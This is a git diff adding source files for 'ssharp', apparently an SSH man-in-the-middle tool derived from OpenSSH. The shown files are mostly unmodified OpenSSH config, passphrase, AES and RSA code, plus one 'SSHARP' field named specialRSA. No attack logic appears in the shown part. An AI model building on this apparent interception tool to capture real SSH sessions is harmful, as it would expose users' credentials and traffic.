command for connecting the host. */ + char *user; /* User to log in as. */ + int escape_char; /* Escape character; -2 = none */ + + char *system_hostfile;/* Path for /etc/ssh_known_hosts. */ + char *user_hostfile; /* Path for $HOME/.ssh/known_hosts. */ + char *system_hostfile2; + char *user_hostfile2; + char *preferred_authentications; + + int num_identity_files; /* Number of files for RSA/DSA identities. */ + char *identity_files[SSH_MAX_IDENTITY_FILES]; + Key *identity_keys[SSH_MAX_IDENTITY_FILES]; + + /* Local TCP/IP forward requests. */ + int num_local_forwards; + Forward local_forwards[SSH_MAX_FORWARDS_PER_DIRECTION]; + + /* Remote TCP/IP forward requests. */ + int num_remote_forwards; + Forward remote_forwards[SSH_MAX_FORWARDS_PER_DIRECTION]; + + /* SSHARP */ + int specialRSA; +} Options; + + +/* + * Initializes options to special values that indicate that they have not yet + * been set. Read_config_file will only set options with this value. Options + * are processed in the following order: command line, user config file, + * system config file. Last, fill_default_options is called. + */ +void initialize_options(Options * options); + +/* + * Called after processing other sources of option data, this fills those + * options for which no value has been specified with their default values. + */ +void fill_default_options(Options * options); + +/* + * Processes a single option line as used in the configuration files. This + * only sets those values that have not already been set. Returns 0 for legal + * options + */ +int +process_config_line(Options * options, const char *host, + char *line, const char *filename, int linenum, + int *activep); + +/* + * Reads the config file and modifies the options accordingly. Options + * should already be initialized before this call. This never returns if + * there is an error. If the file does not exist, this returns immediately. + */ +void +read_config_file(const char *filename, const char *host, + Options * options); + +/* + * Adds a local TCP/IP port forward to options. Never returns if there is an + * error. + */ +void +add_local_forward(Options * options, u_short port, const char *host, + u_short host_port); + +/* + * Adds a remote TCP/IP port forward to options. Never returns if there is + * an error. + */ +void +add_remote_forward(Options * options, u_short port, const char *host, + u_short host_port); + +#endif /* READCONF_H */ diff --git a/other/ssharp/readpass.c b/other/ssharp/readpass.c new file mode 100644 index 0000000..b93eaba --- /dev/null +++ b/other/ssharp/readpass.c @@ -0,0 +1,124 @@ +/* + * Copyright (c) 1988, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: readpass.c,v 1.15 2001/04/18 21:57:41 markus Exp $"); + +#include "xmalloc.h" +#include "cli.h" +#include "readpass.h" +#include "pathnames.h" +#include "log.h" +#include "atomicio.h" +#include "ssh.h" + +char * +ssh_askpass(char *askpass, char *msg) +{ + pid_t pid; + size_t len; + char *nl, *pass; + int p[2], status; + char buf[1024]; + + if (fflush(stdout) != 0) + error("ssh_askpass: fflush: %s", strerror(errno)); + if (askpass == NULL) + fatal("internal error: askpass undefined"); + if (pipe(p) < 0) + fatal("ssh_askpass: pipe: %s", strerror(errno)); + if ((pid = fork()) < 0) + fatal("ssh_askpass: fork: %s", strerror(errno)); + if (pid == 0) { + seteuid(getuid()); + setuid(getuid()); + close(p[0]); + if (dup2(p[1], STDOUT_FILENO) < 0) + fatal("ssh_askpass: dup2: %s", strerror(errno)); + execlp(askpass, askpass, msg, (char *) 0); + fatal("ssh_askpass: exec(%s): %s", askpass, strerror(errno)); + } + close(p[1]); + len = read(p[0], buf, sizeof buf); + close(p[0]); + while (waitpid(pid, &status, 0) < 0) + if (errno != EINTR) + break; + if (len <= 1) + return xstrdup(""); + nl = strchr(buf, '\n'); + if (nl) + *nl = '\0'; + pass = xstrdup(buf); + memset(buf, 0, sizeof(buf)); + return pass; +} + + +/* + * Reads a passphrase from /dev/tty with echo turned off. Returns the + * passphrase (allocated with xmalloc), being very careful to ensure that + * no other userland buffer is storing the password. + */ +/* + * Note: the funcationallity of this routing has been moved to + * cli_read_passphrase(). This routing remains to maintain + * compatibility with existing code. + */ +char * +read_passphrase(const char *prompt, int from_stdin) +{ + char *askpass = NULL; + int use_askpass = 0, ttyfd; + + if (from_stdin) { + if (!isatty(STDIN_FILENO)) + use_askpass = 1; + } else { + ttyfd = open("/dev/tty", O_RDWR); + if (ttyfd >= 0) + close(ttyfd); + else + use_askpass = 1; + } + + if (use_askpass && getenv("DISPLAY")) { + if (getenv(SSH_ASKPASS_ENV)) + askpass = getenv(SSH_ASKPASS_ENV); + else + askpass = _PATH_SSH_ASKPASS_DEFAULT; + return ssh_askpass(askpass, prompt); + } + + return cli_read_passphrase(prompt, from_stdin, 0); +} diff --git a/other/ssharp/readpass.h b/other/ssharp/readpass.h new file mode 100644 index 0000000..38d11af --- /dev/null +++ b/other/ssharp/readpass.h @@ -0,0 +1,20 @@ +/* $OpenBSD: readpass.h,v 1.2 2001/01/29 01:58:17 niklas Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* + * Reads a passphrase from /dev/tty with echo turned off. Returns the + * passphrase (allocated with xmalloc). Exits if EOF is encountered. If + * from_stdin is true, the passphrase will be read from stdin instead. + */ +char *read_passphrase(const char *prompt, int from_stdin); diff --git a/other/ssharp/rijndael.c b/other/ssharp/rijndael.c new file mode 100644 index 0000000..8b213db --- /dev/null +++ b/other/ssharp/rijndael.c @@ -0,0 +1,412 @@ +/* $OpenBSD: rijndael.c,v 1.7 2001/02/04 15:32:24 stevesk Exp $ */ + +/* This is an independent implementation of the encryption algorithm: */ +/* */ +/* RIJNDAEL by Joan Daemen and Vincent Rijmen */ +/* */ +/* which is a candidate algorithm in the Advanced Encryption Standard */ +/* programme of the US National Institute of Standards and Technology. */ +/* */ +/* Copyright in this implementation is held by Dr B R Gladman but I */ +/* hereby give permission for its free direct or derivative use subject */ +/* to acknowledgment of its origin and compliance with any conditions */ +/* that the originators of the algorithm place on its exploitation. */ +/* */ +/* Dr Brian Gladman (gladman@seven77.demon.co.uk) 14th January 1999 */ + +/* Timing data for Rijndael (rijndael.c) + +Algorithm: rijndael (rijndael.c) + +128 bit key: +Key Setup: 305/1389 cycles (encrypt/decrypt) +Encrypt: 374 cycles = 68.4 mbits/sec +Decrypt: 352 cycles = 72.7 mbits/sec +Mean: 363 cycles = 70.5 mbits/sec + +192 bit key: +Key Setup: 277/1595 cycles (encrypt/decrypt) +Encrypt: 439 cycles = 58.3 mbits/sec +Decrypt: 425 cycles = 60.2 mbits/sec +Mean: 432 cycles = 59.3 mbits/sec + +256 bit key: +Key Setup: 374/1960 cycles (encrypt/decrypt) +Encrypt: 502 cycles = 51.0 mbits/sec +Decrypt: 498 cycles = 51.4 mbits/sec +Mean: 500 cycles = 51.2 mbits/sec + +*/ + +#include "config.h" +#include "rijndael.h" + +void gen_tabs __P((void)); + +/* 3. Basic macros for speeding up generic operations */ + +/* Circular rotate of 32 bit values */ + +#define rotr(x,n) (((x) >> ((int)(n))) | ((x) << (32 - (int)(n)))) +#define rotl(x,n) (((x) << ((int)(n))) | ((x) >> (32 - (int)(n)))) + +/* Invert byte order in a 32 bit variable */ + +#define bswap(x) ((rotl(x, 8) & 0x00ff00ff) | (rotr(x, 8) & 0xff00ff00)) + +/* Extract byte from a 32 bit quantity (little endian notation) */ + +#define byte(x,n) ((u1byte)((x) >> (8 * n))) + +#ifdef WORDS_BIGENDIAN +#define BYTE_SWAP +#endif + +#ifdef BYTE_SWAP +#define io_swap(x) bswap(x) +#else +#define io_swap(x) (x) +#endif + +#define LARGE_TABLES + +u1byte pow_tab[256]; +u1byte log_tab[256]; +u1byte sbx_tab[256]; +u1byte isb_tab[256]; +u4byte rco_tab[ 10]; +u4byte ft_tab[4][256]; +u4byte it_tab[4][256]; + +#ifdef LARGE_TABLES + u4byte fl_tab[4][256]; + u4byte il_tab[4][256]; +#endif + +u4byte tab_gen = 0; + +#define ff_mult(a,b) (a && b ? pow_tab[(log_tab[a] + log_tab[b]) % 255] : 0) + +#define f_rn(bo, bi, n, k) \ + bo[n] = ft_tab[0][byte(bi[n],0)] ^ \ + ft_tab[1][byte(bi[(n + 1) & 3],1)] ^ \ + ft_tab[2][byte(bi[(n + 2) & 3],2)] ^ \ + ft_tab[3][byte(bi[(n + 3) & 3],3)] ^ *(k + n) + +#define i_rn(bo, bi, n, k) \ + bo[n] = it_tab[0][byte(bi[n],0)] ^ \ + it_tab[1][byte(bi[(n + 3) & 3],1)] ^ \ + it_tab[2][byte(bi[(n + 2) & 3],2)] ^ \ + it_tab[3][byte(bi[(n + 1) & 3],3)] ^ *(k + n) + +#ifdef LARGE_TABLES + +#define ls_box(x) \ + ( fl_tab[0][byte(x, 0)] ^ \ + fl_tab[1][byte(x, 1)] ^ \ + fl_tab[2][byte(x, 2)] ^ \ + fl_tab[3][byte(x, 3)] ) + +#define f_rl(bo, bi, n, k) \ + bo[n] = fl_tab[0][byte(bi[n],0)] ^ \ + fl_tab[1][byte(bi[(n + 1) & 3],1)] ^ \ + fl_tab[2][byte(bi[(n + 2) & 3],2)] ^ \ + fl_tab[3][byte(bi[(n + 3) & 3],3)] ^ *(k + n) + +#define i_rl(bo, bi, n, k) \ + bo[n] = il_tab[0][byte(bi[n],0)] ^ \ + il_tab[1][byte(bi[(n + 3) & 3],1)] ^ \ + il_tab[2][byte(bi[(n + 2) & 3],2)] ^ \ + il_tab[3][byte(bi[(n + 1) & 3],3)] ^ *(k + n) + +#else + +#define ls_box(x) \ + ((u4byte)sbx_tab[byte(x, 0)] << 0) ^ \ + ((u4byte)sbx_tab[byte(x, 1)] << 8) ^ \ + ((u4byte)sbx_tab[byte(x, 2)] << 16) ^ \ + ((u4byte)sbx_tab[byte(x, 3)] << 24) + +#define f_rl(bo, bi, n, k) \ + bo[n] = (u4byte)sbx_tab[byte(bi[n],0)] ^ \ + rotl(((u4byte)sbx_tab[byte(bi[(n + 1) & 3],1)]), 8) ^ \ + rotl(((u4byte)sbx_tab[byte(bi[(n + 2) & 3],2)]), 16) ^ \ + rotl(((u4byte)sbx_tab[byte(bi[(n + 3) & 3],3)]), 24) ^ *(k + n) + +#define i_rl(bo, bi, n, k) \ + bo[n] = (u4byte)isb_tab[byte(bi[n],0)] ^ \ + rotl(((u4byte)isb_tab[byte(bi[(n + 3) & 3],1)]), 8) ^ \ + rotl(((u4byte)isb_tab[byte(bi[(n + 2) & 3],2)]), 16) ^ \ + rotl(((u4byte)isb_tab[byte(bi[(n + 1) & 3],3)]), 24) ^ *(k + n) + +#endif + +void +gen_tabs(void) +{ + u4byte i, t; + u1byte p, q; + + /* log and power tables for GF(2**8) finite field with */ + /* 0x11b as modular polynomial - the simplest prmitive */ + /* root is 0x11, used here to generate the tables */ + + for(i = 0,p = 1; i < 256; ++i) { + pow_tab[i] = (u1byte)p; log_tab[p] = (u1byte)i; + + p = p ^ (p << 1) ^ (p & 0x80 ? 0x01b : 0); + } + + log_tab[1] = 0; p = 1; + + for(i = 0; i < 10; ++i) { + rco_tab[i] = p; + + p = (p << 1) ^ (p & 0x80 ? 0x1b : 0); + } + + /* note that the affine byte transformation matrix in */ + /* rijndael specification is in big endian format with */ + /* bit 0 as the most significant bit. In the remainder */ + /* of the specification the bits are numbered from the */ + /* least significant end of a byte. */ + + for(i = 0; i < 256; ++i) { + p = (i ? pow_tab[255 - log_tab[i]] : 0); q = p; + q = (q >> 7) | (q << 1); p ^= q; + q = (q >> 7) | (q << 1); p ^= q; + q = (q >> 7) | (q << 1); p ^= q; + q = (q >> 7) | (q << 1); p ^= q ^ 0x63; + sbx_tab[i] = (u1byte)p; isb_tab[p] = (u1byte)i; + } + + for(i = 0; i < 256; ++i) { + p = sbx_tab[i]; + +#ifdef LARGE_TABLES + + t = p; fl_tab[0][i] = t; + fl_tab[1][i] = rotl(t, 8); + fl_tab[2][i] = rotl(t, 16); + fl_tab[3][i] = rotl(t, 24); +#endif + t = ((u4byte)ff_mult(2, p)) | + ((u4byte)p << 8) | + ((u4byte)p << 16) | + ((u4byte)ff_mult(3, p) << 24); + + ft_tab[0][i] = t; + ft_tab[1][i] = rotl(t, 8); + ft_tab[2][i] = rotl(t, 16); + ft_tab[3][i] = rotl(t, 24); + + p = isb_tab[i]; + +#ifdef LARGE_TABLES + + t = p; il_tab[0][i] = t; + il_tab[1][i] = rotl(t, 8); + il_tab[2][i] = rotl(t, 16); + il_tab[3][i] = rotl(t, 24); +#endif + t = ((u4byte)ff_mult(14, p)) | + ((u4byte)ff_mult( 9, p) << 8) | + ((u4byte)ff_mult(13, p) << 16) | + ((u4byte)ff_mult(11, p) << 24); + + it_tab[0][i] = t; + it_tab[1][i] = rotl(t, 8); + it_tab[2][i] = rotl(t, 16); + it_tab[3][i] = rotl(t, 24); + } + + tab_gen = 1; +} + +#define star_x(x) (((x) & 0x7f7f7f7f) << 1) ^ ((((x) & 0x80808080) >> 7) * 0x1b) + +#define imix_col(y,x) \ + u = star_x(x); \ + v = star_x(u); \ + w = star_x(v); \ + t = w ^ (x); \ + (y) = u ^ v ^ w; \ + (y) ^= rotr(u ^ t, 8) ^ \ + rotr(v ^ t, 16) ^ \ + rotr(t,24) + +/* initialise the key schedule from the user supplied key */ + +#define loop4(i) \ +{ t = ls_box(rotr(t, 8)) ^ rco_tab[i]; \ + t ^= e_key[4 * i]; e_key[4 * i + 4] = t; \ + t ^= e_key[4 * i + 1]; e_key[4 * i + 5] = t; \ + t ^= e_key[4 * i + 2]; e_key[4 * i + 6] = t; \ + t ^= e_key[4 * i + 3]; e_key[4 * i + 7] = t; \ +} + +#define loop6(i) \ +{ t = ls_box(rotr(t, 8)) ^ rco_tab[i]; \ + t ^= e_key[6 * i]; e_key[6 * i + 6] = t; \ + t ^= e_key[6 * i + 1]; e_key[6 * i + 7] = t; \ + t ^= e_key[6 * i + 2]; e_key[6 * i + 8] = t; \ + t ^= e_key[6 * i + 3]; e_key[6 * i + 9] = t; \ + t ^= e_key[6 * i + 4]; e_key[6 * i + 10] = t; \ + t ^= e_key[6 * i + 5]; e_key[6 * i + 11] = t; \ +} + +#define loop8(i) \ +{ t = ls_box(rotr(t, 8)) ^ rco_tab[i]; \ + t ^= e_key[8 * i]; e_key[8 * i + 8] = t; \ + t ^= e_key[8 * i + 1]; e_key[8 * i + 9] = t; \ + t ^= e_key[8 * i + 2]; e_key[8 * i + 10] = t; \ + t ^= e_key[8 * i + 3]; e_key[8 * i + 11] = t; \ + t = e_key[8 * i + 4] ^ ls_box(t); \ + e_key[8 * i + 12] = t; \ + t ^= e_key[8 * i + 5]; e_key[8 * i + 13] = t; \ + t ^= e_key[8 * i + 6]; e_key[8 * i + 14] = t; \ + t ^= e_key[8 * i + 7]; e_key[8 * i + 15] = t; \ +} + +rijndael_ctx * +rijndael_set_key(rijndael_ctx *ctx, const u4byte *in_key, const u4byte key_len, + int encrypt) +{ + u4byte i, t, u, v, w; + u4byte *e_key = ctx->e_key; + u4byte *d_key = ctx->d_key; + + ctx->decrypt = !encrypt; + + if(!tab_gen) + gen_tabs(); + + ctx->k_len = (key_len + 31) / 32; + + e_key[0] = io_swap(in_key[0]); e_key[1] = io_swap(in_key[1]); + e_key[2] = io_swap(in_key[2]); e_key[3] = io_swap(in_key[3]); + + switch(ctx->k_len) { + case 4: t = e_key[3]; + for(i = 0; i < 10; ++i) + loop4(i); + break; + + case 6: e_key[4] = io_swap(in_key[4]); t = e_key[5] = io_swap(in_key[5]); + for(i = 0; i < 8; ++i) + loop6(i); + break; + + case 8: e_key[4] = io_swap(in_key[4]); e_key[5] = io_swap(in_key[5]); + e_key[6] = io_swap(in_key[6]); t = e_key[7] = io_swap(in_key[7]); + for(i = 0; i < 7; ++i) + loop8(i); + break; + } + + if (!encrypt) { + d_key[0] = e_key[0]; d_key[1] = e_key[1]; + d_key[2] = e_key[2]; d_key[3] = e_key[3]; + + for(i = 4; i < 4 * ctx->k_len + 24; ++i) { + imix_col(d_key[i], e_key[i]); + } + } + + return ctx; +} + +/* encrypt a block of text */ + +#define f_nround(bo, bi, k) \ + f_rn(bo, bi, 0, k); \ + f_rn(bo, bi, 1, k); \ + f_rn(bo, bi, 2, k); \ + f_rn(bo, bi, 3, k); \ + k += 4 + +#define f_lround(bo, bi, k) \ + f_rl(bo, bi, 0, k); \ + f_rl(bo, bi, 1, k); \ + f_rl(bo, bi, 2, k); \ + f_rl(bo, bi, 3, k) + +void +rijndael_encrypt(rijndael_ctx *ctx, const u4byte *in_blk, u4byte *out_blk) +{ + u4byte k_len = ctx->k_len; + u4byte *e_key = ctx->e_key; + u4byte b0[4], b1[4], *kp; + + b0[0] = io_swap(in_blk[0]) ^ e_key[0]; + b0[1] = io_swap(in_blk[1]) ^ e_key[1]; + b0[2] = io_swap(in_blk[2]) ^ e_key[2]; + b0[3] = io_swap(in_blk[3]) ^ e_key[3]; + + kp = e_key + 4; + + if(k_len > 6) { + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + } + + if(k_len > 4) { + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + } + + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + f_nround(b1, b0, kp); f_lround(b0, b1, kp); + + out_blk[0] = io_swap(b0[0]); out_blk[1] = io_swap(b0[1]); + out_blk[2] = io_swap(b0[2]); out_blk[3] = io_swap(b0[3]); +} + +/* decrypt a block of text */ + +#define i_nround(bo, bi, k) \ + i_rn(bo, bi, 0, k); \ + i_rn(bo, bi, 1, k); \ + i_rn(bo, bi, 2, k); \ + i_rn(bo, bi, 3, k); \ + k -= 4 + +#define i_lround(bo, bi, k) \ + i_rl(bo, bi, 0, k); \ + i_rl(bo, bi, 1, k); \ + i_rl(bo, bi, 2, k); \ + i_rl(bo, bi, 3, k) + +void +rijndael_decrypt(rijndael_ctx *ctx, const u4byte *in_blk, u4byte *out_blk) +{ + u4byte b0[4], b1[4], *kp; + u4byte k_len = ctx->k_len; + u4byte *e_key = ctx->e_key; + u4byte *d_key = ctx->d_key; + + b0[0] = io_swap(in_blk[0]) ^ e_key[4 * k_len + 24]; + b0[1] = io_swap(in_blk[1]) ^ e_key[4 * k_len + 25]; + b0[2] = io_swap(in_blk[2]) ^ e_key[4 * k_len + 26]; + b0[3] = io_swap(in_blk[3]) ^ e_key[4 * k_len + 27]; + + kp = d_key + 4 * (k_len + 5); + + if(k_len > 6) { + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + } + + if(k_len > 4) { + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + } + + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + i_nround(b1, b0, kp); i_lround(b0, b1, kp); + + out_blk[0] = io_swap(b0[0]); out_blk[1] = io_swap(b0[1]); + out_blk[2] = io_swap(b0[2]); out_blk[3] = io_swap(b0[3]); +} diff --git a/other/ssharp/rijndael.h b/other/ssharp/rijndael.h new file mode 100644 index 0000000..fa35048 --- /dev/null +++ b/other/ssharp/rijndael.h @@ -0,0 +1,49 @@ +/* $OpenBSD: rijndael.h,v 1.7 2001/03/01 03:38:33 deraadt Exp $ */ + +/* This is an independent implementation of the encryption algorithm: */ +/* */ +/* RIJNDAEL by Joan Daemen and Vincent Rijmen */ +/* */ +/* which is a candidate algorithm in the Advanced Encryption Standard */ +/* programme of the US National Institute of Standards and Technology. */ +/* */ +/* Copyright in this implementation is held by Dr B R Gladman but I */ +/* hereby give permission for its free direct or derivative use subject */ +/* to acknowledgment of its origin and compliance with any conditions */ +/* that the originators of the algorithm place on its exploitation. */ +/* */ +/* Dr Brian Gladman (gladman@seven77.demon.co.uk) 14th January 1999 */ + +#ifndef _RIJNDAEL_H_ +#define _RIJNDAEL_H_ + +#include "config.h" + +/* 1. Standard types for AES cryptography source code */ + +typedef u_int8_t u1byte; /* an 8 bit unsigned character type */ +typedef u_int16_t u2byte; /* a 16 bit unsigned integer type */ +typedef u_int32_t u4byte; /* a 32 bit unsigned integer type */ + +typedef int8_t s1byte; /* an 8 bit signed character type */ +typedef int16_t s2byte; /* a 16 bit signed integer type */ +typedef int32_t s4byte; /* a 32 bit signed integer type */ + +typedef struct _rijndael_ctx { + u4byte k_len; + int decrypt; + u4byte e_key[64]; + u4byte d_key[64]; +} rijndael_ctx; + + +/* 2. Standard interface for AES cryptographic routines */ + +/* These are all based on 32 bit unsigned values and will therefore */ +/* require endian conversions for big-endian architectures */ + +rijndael_ctx *rijndael_set_key __P((rijndael_ctx *, const u4byte *, u4byte, int)); +void rijndael_encrypt __P((rijndael_ctx *, const u4byte *, u4byte *)); +void rijndael_decrypt __P((rijndael_ctx *, const u4byte *, u4byte *)); + +#endif /* _RIJNDAEL_H_ */ diff --git a/other/ssharp/rsa.c b/other/ssharp/rsa.c new file mode 100644 index 0000000..f69f996 --- /dev/null +++ b/other/ssharp/rsa.c @@ -0,0 +1,141 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * + * Copyright (c) 1999 Niels Provos. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * + * Description of the RSA algorithm can be found e.g. from the following + * sources: + * + * Bruce Schneier: Applied Cryptography. John Wiley & Sons, 1994. + * + * Jennifer Seberry and Josed Pieprzyk: Cryptography: An Introduction to + * Computer Security. Prentice-Hall, 1989. + * + * Man Young Rhee: Cryptography and Secure Data Communications. McGraw-Hill, + * 1994. + * + * R. Rivest, A. Shamir, and L. M. Adleman: Cryptographic Communications + * System and Method. US Patent 4,405,829, 1983. + * + * Hans Riesel: Prime Numbers and Computer Methods for Factorization. + * Birkhauser, 1994. + * + * The RSA Frequently Asked Questions document by RSA Data Security, + * Inc., 1995. + * + * RSA in 3 lines of perl by Adam Back , 1995, as + * included below: + * + * [gone - had to be deleted - what a pity] + */ + +#include "includes.h" +RCSID("$OpenBSD: rsa.c,v 1.22 2001/03/26 23:23:23 markus Exp $"); + +#include "rsa.h" +#include "log.h" +#include "xmalloc.h" + +void +rsa_public_encrypt(BIGNUM *out, BIGNUM *in, RSA *key) +{ + u_char *inbuf, *outbuf; + int len, ilen, olen; + + if (BN_num_bits(key->e) < 2 || !BN_is_odd(key->e)) + fatal("rsa_public_encrypt() exponent too small or not odd"); + + olen = BN_num_bytes(key->n); + outbuf = xmalloc(olen); + + ilen = BN_num_bytes(in); + inbuf = xmalloc(ilen); + BN_bn2bin(in, inbuf); + + if ((len = RSA_public_encrypt(ilen, inbuf, outbuf, key, + RSA_PKCS1_PADDING)) <= 0) + fatal("rsa_public_encrypt() failed"); + + BN_bin2bn(outbuf, len, out); + + memset(outbuf, 0, olen); + memset(inbuf, 0, ilen); + xfree(outbuf); + xfree(inbuf); +} + +int +rsa_private_decrypt(BIGNUM *out, BIGNUM *in, RSA *key) +{ + u_char *inbuf, *outbuf; + int len, ilen, olen; + + olen = BN_num_bytes(key->n); + outbuf = xmalloc(olen); + + ilen = BN_num_bytes(in); + inbuf = xmalloc(ilen); + BN_bn2bin(in, inbuf); + + if ((len = RSA_private_decrypt(ilen, inbuf, outbuf, key, + RSA_PKCS1_PADDING)) <= 0) { + error("rsa_private_decrypt() failed"); + } else { + BN_bin2bn(outbuf, len, out); + } + memset(outbuf, 0, olen); + memset(inbuf, 0, ilen); + xfree(outbuf); + xfree(inbuf); + return len; +} + +void +generate_additional_parameters(RSA *rsa) +{ + BIGNUM *aux; + BN_CTX *ctx; + /* Generate additional parameters */ + aux = BN_new(); + ctx = BN_CTX_new(); + + BN_sub(aux, rsa->q, BN_value_one()); + BN_mod(rsa->dmq1, rsa->d, aux, ctx); + + BN_sub(aux, rsa->p, BN_value_one()); + BN_mod(rsa->dmp1, rsa->d, aux, ctx); + + BN_clear_free(aux); + BN_CTX_free(ctx); +} + diff --git a/other/ssharp/rsa.h b/other/ssharp/rsa.h new file mode 100644 index 0000000..d3d2c99 --- /dev/null +++ b/other/ssharp/rsa.h @@ -0,0 +1,27 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * RSA key generation, encryption and decryption. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: rsa.h,v 1.11 2001/03/26 23:23:24 markus Exp $"); */ + +#ifndef RSA_H +#define RSA_H + +#include +#include + +void rsa_public_encrypt __P((BIGNUM * out, BIGNUM * in, RSA * prv)); +int rsa_private_decrypt __P((BIGNUM * out, BIGNUM * in, RSA * prv)); + +void generate_additional_parameters __P((RSA *rsa)); + +#endif /* RSA_H */ diff --git a/other/ssharp/scp-common.c b/other/ssharp/scp-common.c new file mode 100644 index 0000000..7e5f09c --- /dev/null +++ b/other/ssharp/scp-common.c @@ -0,0 +1,98 @@ +/* + * Copyright (c) 1999 Theo de Raadt. All rights reserved. + * Copyright (c) 1999 Aaron Campbell. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * Parts from: + * + * Copyright (c) 1983, 1990, 1992, 1993, 1995 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 